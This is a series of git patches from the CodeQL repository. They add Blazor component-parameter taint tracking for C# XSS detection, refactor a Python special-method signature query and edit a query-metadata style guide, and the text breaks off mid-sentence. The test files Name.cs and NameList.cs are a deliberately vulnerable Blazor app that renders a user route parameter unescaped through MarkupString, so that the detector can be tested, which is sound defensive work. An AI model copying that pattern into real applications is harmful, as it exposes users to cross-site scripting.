From 48b90b28c70dd19d228d01f56fb03679f4846b62 Mon Sep 17 00:00:00 2001 From: Ed Minnix Date: Wed, 5 Mar 2025 00:01:08 -0500 Subject: [PATCH 001/282] Component parameter passing step --- .../microsoft/aspnetcore/Components.qll | 49 +++++++++++++++++++ 1 file changed, 49 insertions(+) diff --git a/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll b/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll index 6e37fc0480f..806ac7fa903 100644 --- a/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll +++ b/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll @@ -112,6 +112,16 @@ class MicrosoftAspNetCoreComponentsComponent extends Class { } } +/** + * The `Microsoft.AspNetCore.Components.Rendering.RenderTreeBuilder::AddComponentParameter` method. + */ +private class MicrosoftAspNetCoreComponentsAddComponentParameterMethod extends Method { + MicrosoftAspNetCoreComponentsAddComponentParameterMethod() { + this.hasFullyQualifiedName("Microsoft.AspNetCore.Components.Rendering", "RenderTreeBuilder", + "AddComponentParameter") + } +} + private module Sources { private import semmle.code.csharp.security.dataflow.flowsources.Remote @@ -133,3 +143,42 @@ private module Sources { override string getSourceType() { result = "ASP.NET Core component route parameter" } } } + +private module JumpNodes { + /** + * A call to `Microsoft.AspNetCore.Components.Rendering.RenderTreeBuilder::AddComponentParameter` which + * sets the value of a parameter. + */ + private class ParameterPassingCall extends Call { + ParameterPassingCall() { + this.getTarget() instanceof MicrosoftAspNetCoreComponentsAddComponentParameterMethod + } + + /** + * Gets the property whose value is being set. + */ + Property getParameterProperty() { + result.getAnAttribute() instanceof MicrosoftAspNetCoreComponentsParameterAttribute and + exists(NameOfExpr ne | ne = this.getArgument(1) | + result.getAnAccess() = ne.getAccess().(MemberAccess) + ) + } + + /** + * Gets the value being set. + */ + Expr getParameterValue() { result = this.getArgument(2) } + } + + private class ComponentParameterJump extends DataFlow::NonLocalJumpNode { + ParameterPassingCall call; + + ComponentParameterJump() { this.asExpr() = call.getParameterValue() } + + override DataFlow::Node getAJumpSuccessor(boolean preservesValue) { + preservesValue = false and + result.asExpr() = call.getParameterProperty().getAnAccess() + } + } +} + From 0463f48565a95b0f43ac331db02a65889d9f98ee Mon Sep 17 00:00:00 2001 From: Ed Minnix Date: Wed, 5 Mar 2025 00:37:33 -0500 Subject: [PATCH 002/282] Add Name and NameList test classes --- .../microsoft/aspnetcore/blazor/Name.cs | 22 ++++++++ .../microsoft/aspnetcore/blazor/NameList.cs | 50 +++++++++++++++++++ 2 files changed, 72 insertions(+) create mode 100644 csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Name.cs create mode 100644 csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/NameList.cs diff --git a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Name.cs b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Name.cs new file mode 100644 index 00000000000..a9d098470e4 --- /dev/null +++ b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Name.cs @@ -0,0 +1,22 @@ +namespace VulnerableBlazorApp.Components +{ + using Microsoft.AspNetCore.Components; + + public partial class Name : Microsoft.AspNetCore.Components.ComponentBase + { + protected override void BuildRenderTree(Microsoft.AspNetCore.Components.Rendering.RenderTreeBuilder builder) + { + if (TheName is not null) + { + builder.OpenElement(0, "div"); + builder.OpenElement(1, "p"); + builder.AddContent(2, (MarkupString)TheName); + builder.CloseElement(); + builder.CloseElement(); + } + } + + [Parameter] + public string TheName { get; set; } + } +} \ No newline at end of file diff --git a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/NameList.cs b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/NameList.cs new file mode 100644 index 00000000000..ceffb35303e --- /dev/null +++ b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/NameList.cs @@ -0,0 +1,50 @@ +namespace VulnerableBlazorApp.Components +{ + using System.Collections.Generic; + using Microsoft.AspNetCore.Components; + + [RouteAttribute("/names/{name?}")] + public partial class NameList : Microsoft.AspNetCore.Components.ComponentBase + { + protected override void BuildRenderTree(Microsoft.AspNetCore.Components.Rendering.RenderTreeBuilder builder) + { + if (Names is not null) + { + builder.OpenElement(0, "div"); + builder.OpenElement(1, "ul"); + foreach (var name in Names) + { + builder.OpenElement(2, "li"); + builder.OpenComponent(3); + builder.AddComponentParameter(4, nameof(VulnerableBlazorApp.Components.Name.TheName), name); + builder.CloseComponent(); + builder.CloseElement(); + } + builder.CloseElement(); + builder.CloseElement(); + } + + builder.OpenElement(5, "div"); + builder.OpenElement(6, "p"); + builder.AddContent(7, "Name: "); + builder.OpenComponent(8); + builder.AddComponentParameter(9, nameof(VulnerableBlazorApp.Components.Name.TheName), Name); + builder.CloseComponent(); + builder.CloseElement(); + } + + [Parameter] + public string Name { get; set; } + + protected override void OnParametersSet() + { + if (Name is not null) + { + Names.Add(Name); + } + } + + + public List Names { get; set; } = new List(); + } +} \ No newline at end of file From 17da291910fe6838f14002470fa2daffb3e7a430 Mon Sep 17 00:00:00 2001 From: Ed Minnix Date: Wed, 5 Mar 2025 00:50:19 -0500 Subject: [PATCH 003/282] fixup! Component parameter passing step --- .../frameworks/microsoft/aspnetcore/Components.qll | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll b/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll index 806ac7fa903..f468487498c 100644 --- a/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll +++ b/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll @@ -172,11 +172,16 @@ private module JumpNodes { private class ComponentParameterJump extends DataFlow::NonLocalJumpNode { ParameterPassingCall call; + Property prop; - ComponentParameterJump() { this.asExpr() = call.getParameterValue() } + ComponentParameterJump() { + prop = call.getParameterProperty() and + // this.(DataFlowPrivate::PostUpdateNode).getPreUpdateNode().asExpr() = call.getParameterValue() + this.asExpr() = call.getParameterValue() + } override DataFlow::Node getAJumpSuccessor(boolean preservesValue) { - preservesValue = false and + preservesValue = true and result.asExpr() = call.getParameterProperty().getAnAccess() } } From 824b182ca5de47e9f7c807fa9112b3200b75484e Mon Sep 17 00:00:00 2001 From: Ed Minnix Date: Wed, 5 Mar 2025 00:50:42 -0500 Subject: [PATCH 004/282] fixup! Add Name and NameList test classes --- .../microsoft/aspnetcore/blazor/remoteFlowSource.expected | 2 ++ 1 file changed, 2 insertions(+) diff --git a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/remoteFlowSource.expected b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/remoteFlowSource.expected index 2c845e8e400..fc334e8885a 100644 --- a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/remoteFlowSource.expected +++ b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/remoteFlowSource.expected @@ -2,3 +2,5 @@ | Components_Pages_TestPage_razor.g.cs:138:15:138:22 | access to property UrlParam | ASP.NET Core component route parameter | | Components_Pages_TestPage_razor.g.cs:176:1:176:10 | access to property QueryParam | external | | Components_Pages_TestPage_razor.g.cs:188:18:188:27 | access to property QueryParam | external | +| NameList.cs:33:17:33:20 | access to property Name | ASP.NET Core component route parameter | +| NameList.cs:35:27:35:30 | access to property Name | ASP.NET Core component route parameter | From 97e00ae053c6b64d33a7589ec0850ced9b1a53ed Mon Sep 17 00:00:00 2001 From: Ed Minnix Date: Wed, 5 Mar 2025 00:58:15 -0500 Subject: [PATCH 005/282] Fix formatting --- .../code/csharp/frameworks/microsoft/aspnetcore/Components.qll | 1 - 1 file changed, 1 deletion(-) diff --git a/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll b/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll index f468487498c..e9e2d1d2deb 100644 --- a/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll +++ b/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll @@ -186,4 +186,3 @@ private module JumpNodes { } } } - From 8ea697486859cce94b46d2802e7ed472754d2228 Mon Sep 17 00:00:00 2001 From: Ed Minnix Date: Wed, 5 Mar 2025 00:59:51 -0500 Subject: [PATCH 006/282] XSS qlref --- .../frameworks/microsoft/aspnetcore/blazor/Xss.qlref | 1 + 1 file changed, 1 insertion(+) create mode 100644 csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Xss.qlref diff --git a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Xss.qlref b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Xss.qlref new file mode 100644 index 00000000000..faad1d6403c --- /dev/null +++ b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Xss.qlref @@ -0,0 +1 @@ +Security Features/CWE-079/XSS.ql \ No newline at end of file From 22e958b24566f70c8d7677408368aef9ade6c7b7 Mon Sep 17 00:00:00 2001 From: Ed Minnix Date: Wed, 5 Mar 2025 01:08:45 -0500 Subject: [PATCH 007/282] Fix jump node by using associated property --- .../code/csharp/frameworks/microsoft/aspnetcore/Components.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll b/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll index e9e2d1d2deb..045e8aaf671 100644 --- a/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll +++ b/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll @@ -182,7 +182,7 @@ private module JumpNodes { override DataFlow::Node getAJumpSuccessor(boolean preservesValue) { preservesValue = true and - result.asExpr() = call.getParameterProperty().getAnAccess() + result.asExpr() = prop.getAnAccess() } } } From 133c6fa40048132ba120bee6718d43f5603242d6 Mon Sep 17 00:00:00 2001 From: Ed Minnix Date: Wed, 5 Mar 2025 01:09:19 -0500 Subject: [PATCH 008/282] Fix test expectations --- .../microsoft/aspnetcore/blazor/Xss.expected | 12 ++++++++++++ .../aspnetcore/blazor/remoteFlowSource.expected | 5 +++-- 2 files changed, 15 insertions(+), 2 deletions(-) create mode 100644 csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Xss.expected diff --git a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Xss.expected b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Xss.expected new file mode 100644 index 00000000000..951269f2b58 --- /dev/null +++ b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Xss.expected @@ -0,0 +1,12 @@ +edges +| NameList.cs:31:99:31:102 | access to property Name : String | Name.cs:13:53:13:59 | access to property TheName | provenance | Sink:MaD:149 | +nodes +| Components_Pages_TestPage_razor.g.cs:138:15:138:22 | access to property UrlParam | semmle.label | access to property UrlParam | +| Components_Pages_TestPage_razor.g.cs:188:18:188:27 | access to property QueryParam | semmle.label | access to property QueryParam | +| Name.cs:13:53:13:59 | access to property TheName | semmle.label | access to property TheName | +| NameList.cs:31:99:31:102 | access to property Name : String | semmle.label | access to property Name : String | +subpaths +#select +| Components_Pages_TestPage_razor.g.cs:138:15:138:22 | access to property UrlParam | Components_Pages_TestPage_razor.g.cs:138:15:138:22 | access to property UrlParam | Components_Pages_TestPage_razor.g.cs:138:15:138:22 | access to property UrlParam | $@ flows to here and is written to HTML or JavaScript. | Components_Pages_TestPage_razor.g.cs:138:15:138:22 | access to property UrlParam | User-provided value | +| Components_Pages_TestPage_razor.g.cs:188:18:188:27 | access to property QueryParam | Components_Pages_TestPage_razor.g.cs:188:18:188:27 | access to property QueryParam | Components_Pages_TestPage_razor.g.cs:188:18:188:27 | access to property QueryParam | $@ flows to here and is written to HTML or JavaScript. | Components_Pages_TestPage_razor.g.cs:188:18:188:27 | access to property QueryParam | User-provided value | +| Name.cs:13:53:13:59 | access to property TheName | NameList.cs:31:99:31:102 | access to property Name : String | Name.cs:13:53:13:59 | access to property TheName | $@ flows to here and is written to HTML or JavaScript. | NameList.cs:31:99:31:102 | access to property Name : String | User-provided value | diff --git a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/remoteFlowSource.expected b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/remoteFlowSource.expected index fc334e8885a..2a9268cf01e 100644 --- a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/remoteFlowSource.expected +++ b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/remoteFlowSource.expected @@ -2,5 +2,6 @@ | Components_Pages_TestPage_razor.g.cs:138:15:138:22 | access to property UrlParam | ASP.NET Core component route parameter | | Components_Pages_TestPage_razor.g.cs:176:1:176:10 | access to property QueryParam | external | | Components_Pages_TestPage_razor.g.cs:188:18:188:27 | access to property QueryParam | external | -| NameList.cs:33:17:33:20 | access to property Name | ASP.NET Core component route parameter | -| NameList.cs:35:27:35:30 | access to property Name | ASP.NET Core component route parameter | +| NameList.cs:31:99:31:102 | access to property Name | ASP.NET Core component route parameter | +| NameList.cs:41:17:41:20 | access to property Name | ASP.NET Core component route parameter | +| NameList.cs:43:27:43:30 | access to property Name | ASP.NET Core component route parameter | From a0fe7d6a1a72c317732c7d1569bfe2d8ab990137 Mon Sep 17 00:00:00 2001 From: Ed Minnix Date: Wed, 5 Mar 2025 11:04:41 -0500 Subject: [PATCH 009/282] Remove unused line --- .../code/csharp/frameworks/microsoft/aspnetcore/Components.qll | 1 - 1 file changed, 1 deletion(-) diff --git a/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll b/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll index 045e8aaf671..d5782b26851 100644 --- a/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll +++ b/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll @@ -176,7 +176,6 @@ private module JumpNodes { ComponentParameterJump() { prop = call.getParameterProperty() and - // this.(DataFlowPrivate::PostUpdateNode).getPreUpdateNode().asExpr() = call.getParameterValue() this.asExpr() = call.getParameterValue() } From e2f0a61f89725ff5693c64761f504e6356743112 Mon Sep 17 00:00:00 2001 From: Ed Minnix Date: Wed, 5 Mar 2025 12:40:02 -0500 Subject: [PATCH 010/282] Add XSS test to integration tests --- csharp/ql/integration-tests/all-platforms/blazor/XSS.qlref | 1 + .../all-platforms/blazor_build_mode_none/XSS.qlref | 1 + csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.qlref | 1 + 3 files changed, 3 insertions(+) create mode 100644 csharp/ql/integration-tests/all-platforms/blazor/XSS.qlref create mode 100644 csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.qlref create mode 100644 csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.qlref diff --git a/csharp/ql/integration-tests/all-platforms/blazor/XSS.qlref b/csharp/ql/integration-tests/all-platforms/blazor/XSS.qlref new file mode 100644 index 00000000000..faad1d6403c --- /dev/null +++ b/csharp/ql/integration-tests/all-platforms/blazor/XSS.qlref @@ -0,0 +1 @@ +Security Features/CWE-079/XSS.ql \ No newline at end of file diff --git a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.qlref b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.qlref new file mode 100644 index 00000000000..faad1d6403c --- /dev/null +++ b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.qlref @@ -0,0 +1 @@ +Security Features/CWE-079/XSS.ql \ No newline at end of file diff --git a/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.qlref b/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.qlref new file mode 100644 index 00000000000..faad1d6403c --- /dev/null +++ b/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.qlref @@ -0,0 +1 @@ +Security Features/CWE-079/XSS.ql \ No newline at end of file From ca14c5722d1d2560be60f5c470e144b0340df593 Mon Sep 17 00:00:00 2001 From: Ed Minnix Date: Wed, 5 Mar 2025 12:40:26 -0500 Subject: [PATCH 011/282] Add likely XSS case to integration tests --- .../blazor/BlazorTest/Components/Pages/TestPage.razor | 4 ++++ .../BlazorTest/Components/Pages/TestPage.razor | 4 ++++ .../blazor_net_8/BlazorTest/Components/Pages/TestPage.razor | 4 ++++ 3 files changed, 12 insertions(+) diff --git a/csharp/ql/integration-tests/all-platforms/blazor/BlazorTest/Components/Pages/TestPage.razor b/csharp/ql/integration-tests/all-platforms/blazor/BlazorTest/Components/Pages/TestPage.razor index 39238d72429..ac3ccbe1920 100644 --- a/csharp/ql/integration-tests/all-platforms/blazor/BlazorTest/Components/Pages/TestPage.razor +++ b/csharp/ql/integration-tests/all-platforms/blazor/BlazorTest/Components/Pages/TestPage.razor @@ -81,6 +81,10 @@ +
+ +
+ @code { public class Container diff --git a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/BlazorTest/Components/Pages/TestPage.razor b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/BlazorTest/Components/Pages/TestPage.razor index 39238d72429..ac3ccbe1920 100644 --- a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/BlazorTest/Components/Pages/TestPage.razor +++ b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/BlazorTest/Components/Pages/TestPage.razor @@ -81,6 +81,10 @@ +
+ +
+ @code { public class Container diff --git a/csharp/ql/integration-tests/all-platforms/blazor_net_8/BlazorTest/Components/Pages/TestPage.razor b/csharp/ql/integration-tests/all-platforms/blazor_net_8/BlazorTest/Components/Pages/TestPage.razor index 39238d72429..ac3ccbe1920 100644 --- a/csharp/ql/integration-tests/all-platforms/blazor_net_8/BlazorTest/Components/Pages/TestPage.razor +++ b/csharp/ql/integration-tests/all-platforms/blazor_net_8/BlazorTest/Components/Pages/TestPage.razor @@ -81,6 +81,10 @@ +
+ +
+ @code { public class Container From 24b2eb24c19b259acd201c9e16235c36101bbee5 Mon Sep 17 00:00:00 2001 From: Taus Date: Fri, 7 Mar 2025 17:23:38 +0000 Subject: [PATCH 012/282] Python: Refactor special method query Moves a bunch of `owner.declaredAttribute(name) = f` instances to the top level, in the process greatly cleaning up the code. The behaviour should be the unchanged. Having done this, there's only one place where we depend on points-to, and that's in the remaining `declaredAttribute` call. This should greatly simplify the move away from points to. --- .../src/Functions/SignatureSpecialMethods.ql | 85 +++++++++---------- 1 file changed, 40 insertions(+), 45 deletions(-) diff --git a/python/ql/src/Functions/SignatureSpecialMethods.ql b/python/ql/src/Functions/SignatureSpecialMethods.ql index feedb6c94b6..9a1d192611d 100644 --- a/python/ql/src/Functions/SignatureSpecialMethods.ql +++ b/python/ql/src/Functions/SignatureSpecialMethods.ql @@ -40,79 +40,73 @@ predicate is_ternary_op(string name) { predicate is_quad_op(string name) { name = "__setslice__" or name = "__exit__" } -int argument_count(PythonFunctionValue f, string name, ClassValue cls) { - cls.declaredAttribute(name) = f and - ( - is_unary_op(name) and result = 1 - or - is_binary_op(name) and result = 2 - or - is_ternary_op(name) and result = 3 - or - is_quad_op(name) and result = 4 - ) +int argument_count(string name) { + is_unary_op(name) and result = 1 + or + is_binary_op(name) and result = 2 + or + is_ternary_op(name) and result = 3 + or + is_quad_op(name) and result = 4 } predicate incorrect_special_method_defn( - PythonFunctionValue func, string message, boolean show_counts, string name, ClassValue owner + Function func, string message, boolean show_counts, string name ) { - exists(int required | required = argument_count(func, name, owner) | + exists(int required | required = argument_count(name) | /* actual_non_default <= actual */ - if required > func.maxParameters() + if required > func.getMaxPositionalArguments() then message = "Too few parameters" and show_counts = true else - if required < func.minParameters() + if required < func.getMinPositionalArguments() then message = "Too many parameters" and show_counts = true else ( - func.minParameters() < required and - not func.getScope().hasVarArg() and - message = (required - func.minParameters()) + " default values(s) will never be used" and + func.getMinPositionalArguments() < required and + not func.hasVarArg() and + message = + (required - func.getMinPositionalArguments()) + " default values(s) will never be used" and show_counts = false ) ) } -predicate incorrect_pow(FunctionValue func, string message, boolean show_counts, ClassValue owner) { - owner.declaredAttribute("__pow__") = func and +predicate incorrect_pow(Function func, string message, boolean show_counts) { ( - func.maxParameters() < 2 and message = "Too few parameters" and show_counts = true + func.getMaxPositionalArguments() < 2 and message = "Too few parameters" and show_counts = true or - func.minParameters() > 3 and message = "Too many parameters" and show_counts = true + func.getMinPositionalArguments() > 3 and message = "Too many parameters" and show_counts = true or - func.minParameters() < 2 and - message = (2 - func.minParameters()) + " default value(s) will never be used" and + func.getMinPositionalArguments() < 2 and + message = (2 - func.getMinPositionalArguments()) + " default value(s) will never be used" and show_counts = false or - func.minParameters() = 3 and + func.getMinPositionalArguments() = 3 and message = "Third parameter to __pow__ should have a default value" and show_counts = false ) } -predicate incorrect_get(FunctionValue func, string message, boolean show_counts, ClassValue owner) { - owner.declaredAttribute("__get__") = func and +predicate incorrect_get(Function func, string message, boolean show_counts) { ( - func.maxParameters() < 3 and message = "Too few parameters" and show_counts = true + func.getMaxPositionalArguments() < 3 and message = "Too few parameters" and show_counts = true or - func.minParameters() > 3 and message = "Too many parameters" and show_counts = true + func.getMinPositionalArguments() > 3 and message = "Too many parameters" and show_counts = true or - func.minParameters() < 2 and - not func.getScope().hasVarArg() and - message = (2 - func.minParameters()) + " default value(s) will never be used" and + func.getMinPositionalArguments() < 2 and + not func.hasVarArg() and + message = (2 - func.getMinPositionalArguments()) + " default value(s) will never be used" and show_counts = false ) } -string should_have_parameters(PythonFunctionValue f, string name, ClassValue owner) { - exists(int i | i = argument_count(f, name, owner) | result = i.toString()) - or - owner.declaredAttribute(name) = f and - (name = "__get__" or name = "__pow__") and - result = "2 or 3" +string should_have_parameters(string name) { + if name in ["__pow__", "__get__"] + then result = "2 or 3" + else result = argument_count(name).toString() } -string has_parameters(PythonFunctionValue f) { - exists(int i | i = f.minParameters() | +string has_parameters(Function f) { + exists(int i | i = f.getMinPositionalArguments() | i = 0 and result = "no parameters" or i = 1 and result = "1 parameter" @@ -125,19 +119,20 @@ from PythonFunctionValue f, string message, string sizes, boolean show_counts, string name, ClassValue owner where + owner.declaredAttribute(name) = f and ( - incorrect_special_method_defn(f, message, show_counts, name, owner) + incorrect_special_method_defn(f.getScope(), message, show_counts, name) or - incorrect_pow(f, message, show_counts, owner) and name = "__pow__" + incorrect_pow(f.getScope(), message, show_counts) and name = "__pow__" or - incorrect_get(f, message, show_counts, owner) and name = "__get__" + incorrect_get(f.getScope(), message, show_counts) and name = "__get__" ) and ( show_counts = false and sizes = "" or show_counts = true and sizes = - ", which has " + has_parameters(f) + ", but should have " + - should_have_parameters(f, name, owner) + ", which has " + has_parameters(f.getScope()) + ", but should have " + + should_have_parameters(name) ) select f, message + " for special method " + name + sizes + ", in class $@.", owner, owner.getName() From 862b89207df9cac9e2365ae599464d510d4413ed Mon Sep 17 00:00:00 2001 From: Taus Date: Wed, 12 Mar 2025 16:41:29 +0000 Subject: [PATCH 013/282] Python: Disable "usused default" logic Adds a new boolean parameter `is_unused_default` that indicates whether the given result is one where a parameter to a special method has a default value (which will never be used when invoked in the normal way). These results are somewhat less useful (because the special method _might_ be invoked directly, in which case the default value would still be relevant), but it seemed like a shame to simply remove the code, so instead I opted to disable it in this way. --- .../src/Functions/SignatureSpecialMethods.ql | 56 +++++++++++++------ 1 file changed, 39 insertions(+), 17 deletions(-) diff --git a/python/ql/src/Functions/SignatureSpecialMethods.ql b/python/ql/src/Functions/SignatureSpecialMethods.ql index 9a1d192611d..97c41f4a873 100644 --- a/python/ql/src/Functions/SignatureSpecialMethods.ql +++ b/python/ql/src/Functions/SignatureSpecialMethods.ql @@ -51,51 +51,71 @@ int argument_count(string name) { } predicate incorrect_special_method_defn( - Function func, string message, boolean show_counts, string name + Function func, string message, boolean show_counts, string name, boolean is_unused_default ) { exists(int required | required = argument_count(name) | /* actual_non_default <= actual */ if required > func.getMaxPositionalArguments() - then message = "Too few parameters" and show_counts = true + then message = "Too few parameters" and show_counts = true and is_unused_default = false else if required < func.getMinPositionalArguments() - then message = "Too many parameters" and show_counts = true + then message = "Too many parameters" and show_counts = true and is_unused_default = false else ( func.getMinPositionalArguments() < required and not func.hasVarArg() and message = (required - func.getMinPositionalArguments()) + " default values(s) will never be used" and - show_counts = false + show_counts = false and + is_unused_default = true ) ) } -predicate incorrect_pow(Function func, string message, boolean show_counts) { +predicate incorrect_pow( + Function func, string message, boolean show_counts, boolean is_unused_default +) { ( - func.getMaxPositionalArguments() < 2 and message = "Too few parameters" and show_counts = true + func.getMaxPositionalArguments() < 2 and + message = "Too few parameters" and + show_counts = true and + is_unused_default = false or - func.getMinPositionalArguments() > 3 and message = "Too many parameters" and show_counts = true + func.getMinPositionalArguments() > 3 and + message = "Too many parameters" and + show_counts = true and + is_unused_default = false or func.getMinPositionalArguments() < 2 and message = (2 - func.getMinPositionalArguments()) + " default value(s) will never be used" and - show_counts = false + show_counts = false and + is_unused_default = true or func.getMinPositionalArguments() = 3 and message = "Third parameter to __pow__ should have a default value" and - show_counts = false + show_counts = false and + is_unused_default = false ) } -predicate incorrect_get(Function func, string message, boolean show_counts) { +predicate incorrect_get( + Function func, string message, boolean show_counts, boolean is_unused_default +) { ( - func.getMaxPositionalArguments() < 3 and message = "Too few parameters" and show_counts = true + func.getMaxPositionalArguments() < 3 and + message = "Too few parameters" and + show_counts = true and + is_unused_default = false or - func.getMinPositionalArguments() > 3 and message = "Too many parameters" and show_counts = true + func.getMinPositionalArguments() > 3 and + message = "Too many parameters" and + show_counts = true and + is_unused_default = false or func.getMinPositionalArguments() < 2 and not func.hasVarArg() and message = (2 - func.getMinPositionalArguments()) + " default value(s) will never be used" and - show_counts = false + show_counts = false and + is_unused_default = true ) } @@ -117,16 +137,18 @@ string has_parameters(Function f) { from PythonFunctionValue f, string message, string sizes, boolean show_counts, string name, - ClassValue owner + ClassValue owner, boolean show_unused_defaults where owner.declaredAttribute(name) = f and ( - incorrect_special_method_defn(f.getScope(), message, show_counts, name) + incorrect_special_method_defn(f.getScope(), message, show_counts, name, show_unused_defaults) or - incorrect_pow(f.getScope(), message, show_counts) and name = "__pow__" + incorrect_pow(f.getScope(), message, show_counts, show_unused_defaults) and name = "__pow__" + or + incorrect_get(f.getScope(), message, show_counts, show_unused_defaults) and name = "__get__" or - incorrect_get(f.getScope(), message, show_counts) and name = "__get__" ) and + show_unused_defaults = false and ( show_counts = false and sizes = "" or From f3353dc3fbbe938a84e592ac2aaedc2a7ae06c94 Mon Sep 17 00:00:00 2001 From: Taus Date: Wed, 12 Mar 2025 16:43:53 +0000 Subject: [PATCH 014/282] Python: Ignore special methods with placeholder bodies Instances of this include - Bodies that contain just a docstring (common in Zope interfaces) - Bodies that do nothing but raise an exception. --- python/ql/src/Functions/SignatureSpecialMethods.ql | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/python/ql/src/Functions/SignatureSpecialMethods.ql b/python/ql/src/Functions/SignatureSpecialMethods.ql index 97c41f4a873..500a384180a 100644 --- a/python/ql/src/Functions/SignatureSpecialMethods.ql +++ b/python/ql/src/Functions/SignatureSpecialMethods.ql @@ -135,6 +135,19 @@ string has_parameters(Function f) { ) } +/** Holds if `f` is likely to be a placeholder, and hence not interesting enough to report. */ +predicate isLikelyPlaceholderFunction(Function f) { + // Body has only a single statement. + f.getBody().getItem(0) = f.getBody().getLastItem() and + ( + // Body is a string literal. This is a common pattern for Zope interfaces. + f.getBody().getLastItem().(ExprStmt).getValue() instanceof StringLiteral + or + // Body just raises an exception. + f.getBody().getLastItem() instanceof Raise + ) +} + from PythonFunctionValue f, string message, string sizes, boolean show_counts, string name, ClassValue owner, boolean show_unused_defaults @@ -148,6 +161,7 @@ where incorrect_get(f.getScope(), message, show_counts, show_unused_defaults) and name = "__get__" or ) and + not isLikelyPlaceholderFunction(f.getScope()) and show_unused_defaults = false and ( show_counts = false and sizes = "" From 6c28be98274e081a1bfa524bc1380420d0193fda Mon Sep 17 00:00:00 2001 From: Jon Janego Date: Thu, 13 Mar 2025 11:49:48 -0500 Subject: [PATCH 015/282] Update query-metadata-style-guide.md initial commit of changes starting to add quality tagging standards --- docs/query-metadata-style-guide.md | 56 +++++++++++++++++++++--------- 1 file changed, 39 insertions(+), 17 deletions(-) diff --git a/docs/query-metadata-style-guide.md b/docs/query-metadata-style-guide.md index 3350111db22..d4704c6c11e 100644 --- a/docs/query-metadata-style-guide.md +++ b/docs/query-metadata-style-guide.md @@ -121,12 +121,47 @@ Alert queries (`@kind problem` or `path-problem`) support two further properties ## Query tags `@tags` -The `@tags` property is used to define categories that the query relates to. Each alert query should belong to one (or more, if necessary) of the following four top-level categories: +The `@tags` property is used to define categories that the query relates to. As we prepare for the release of a dedicated code quality product, we will use tagging to prepare a stronger delineation between queries that are part of our existing "code security" product offering and those that are better suited as part of a "quality" product offering. Each alert query should belong to one of the following two top-level categories, with additional sub-categories: -* `@tags correctness`–for queries that detect incorrect program behavior. -* `@tags maintainability`–for queries that detect patterns that make it harder for developers to make changes to the code. -* `@tags readability`–for queries that detect confusing patterns that make it harder for developers to read the code. +#### High level category `@tags` * `@tags security`–for queries that detect security weaknesses. See below for further information. +* `@tags quality`–for queries that detect code quality issues. See below for further information. + +#### Security query `@tags` + +If your query is a security query, use one or more 